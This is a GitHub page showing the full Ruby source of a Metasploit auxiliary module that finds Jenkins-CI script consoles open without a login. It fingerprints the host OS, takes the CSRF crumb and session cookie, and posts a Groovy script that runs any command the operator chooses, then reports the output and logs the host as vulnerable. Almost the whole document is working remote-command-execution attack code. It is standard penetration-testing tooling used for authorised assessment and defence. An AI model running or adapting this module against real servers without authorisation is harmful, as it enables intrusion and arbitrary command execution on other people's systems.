-
Notifications
You must be signed in to change notification settings - Fork 15k
Expand file tree
/
Copy pathjenkins_command.rb
More file actions
149 lines (127 loc) · 4.78 KB
/
Copy pathjenkins_command.rb
File metadata and controls
149 lines (127 loc) · 4.78 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'cgi'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Jenkins-CI Unauthenticated Script-Console Scanner',
'Description' => %q{
This module scans for unauthenticated Jenkins-CI script consoles and
executes the specified command.
},
'Author' => [
'altonjx',
'Jeffrey Cap'
],
'References' => [
['CVE', '2015-8103'], # see link and validate, https://highon.coffee/blog/jenkins-api-unauthenticated-rce-exploit/ states this is another issue
['URL', 'https://www.jenkins.io/security/advisory/2015-11-11/'],
['URL', 'https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password/'],
['URL', 'https://www.jenkins.io/doc/book/managing/script-console/'],
],
'License' => MSF_LICENSE,
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
register_options(
[
OptString.new('TARGETURI', [ true, 'The path to the Jenkins-CI application', '/jenkins/' ]),
OptString.new('COMMAND', [ true, 'Command to run in application', 'whoami' ]),
]
)
end
def fingerprint_os(ip)
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "systemInfo") })
# Verify that we received a proper systemInfo response
unless res && res.body.to_s.length > 0
vprint_error("#{peer} - The server did not reply to our systemInfo request")
return
end
unless res.body.index("System Properties") &&
res.body.index("Environment Variables")
if res.body.index('Remember me on this computer')
vprint_error("#{peer} This Jenkins-CI system requires authentication")
else
vprint_error("#{peer} This system is not running Jenkins-CI at #{datastore['TARGETURI']}")
end
return
end
host_info = {}
if (res.body =~ /"\.crumb", "([a-z0-9]*)"/)
print_status("#{peer} Using CSRF token: '#{$1}'")
host_info[:crumb] = $1
sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0]
host_info[:cookie] = "#{sessionid}"
end
os_info = pattern_extract(/os.name(.*?)os.version/m, res.body).first
host_info[:prefix] = os_info.index(">Windows") ? "cmd.exe /c " : ""
host_info
end
def run_host(ip)
command = datastore['COMMAND'].gsub("\\", "\\\\\\")
host_info = fingerprint_os(ip)
return if host_info.nil?
prefix = host_info[:prefix]
request_parameters = {
'uri' => normalize_uri(target_uri.path, "script"),
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' =>
{
'script' => "def sout = new StringBuffer(), serr = new StringBuffer()\r\ndef proc = '#{prefix} #{command}'.execute()\r\nproc.consumeProcessOutput(sout, serr)\r\nproc.waitForOrKill(1000)\r\nprintln \"out> $sout err> $serr\"\r\n",
'Submit' => 'Run'
}
}
request_parameters['cookie'] = host_info[:cookie] unless host_info[:cookie].nil?
request_parameters['vars_post']['.crumb'] = host_info[:crumb] unless host_info[:crumb].nil?
res = send_request_cgi(request_parameters)
unless res && res.body.to_s.length > 0
vprint_error("#{peer} No response received from the server.")
return
end
plugin_output, command_output = pattern_extract(/<pre>(.*?)<\/pre>/m, res.body.to_s)
if plugin_output !~ /Jenkins\.instance\.pluginManager\.plugins/
vprint_error("#{peer} The server returned an invalid response.")
return
end
# The output is double-HTML encoded
output = CGI.unescapeHTML(CGI.unescapeHTML(command_output.to_s))
.gsub(/\s*(out|err)>\s*/m, '')
.strip
if output =~ /^java\.[a-zA-Z\.]+\:\s*([^\n]+)\n/
output = $1
print_good("#{peer} The server is vulnerable, but the command failed: #{output}")
else
output.split("\n").each do |line|
print_good("#{peer} #{line.strip}")
end
end
report_vulnerable(output)
end
def pattern_extract(pattern, buffer)
buffer.to_s.scan(pattern).map { |m| m.first }
end
def report_vulnerable(result)
report_vuln(
:host => rhost,
:port => rport,
:proto => 'tcp',
:sname => ssl ? 'https' : 'http',
:name => self.name,
:info => result,
:refs => self.references,
:exploited_at => Time.now.utc
)
end
end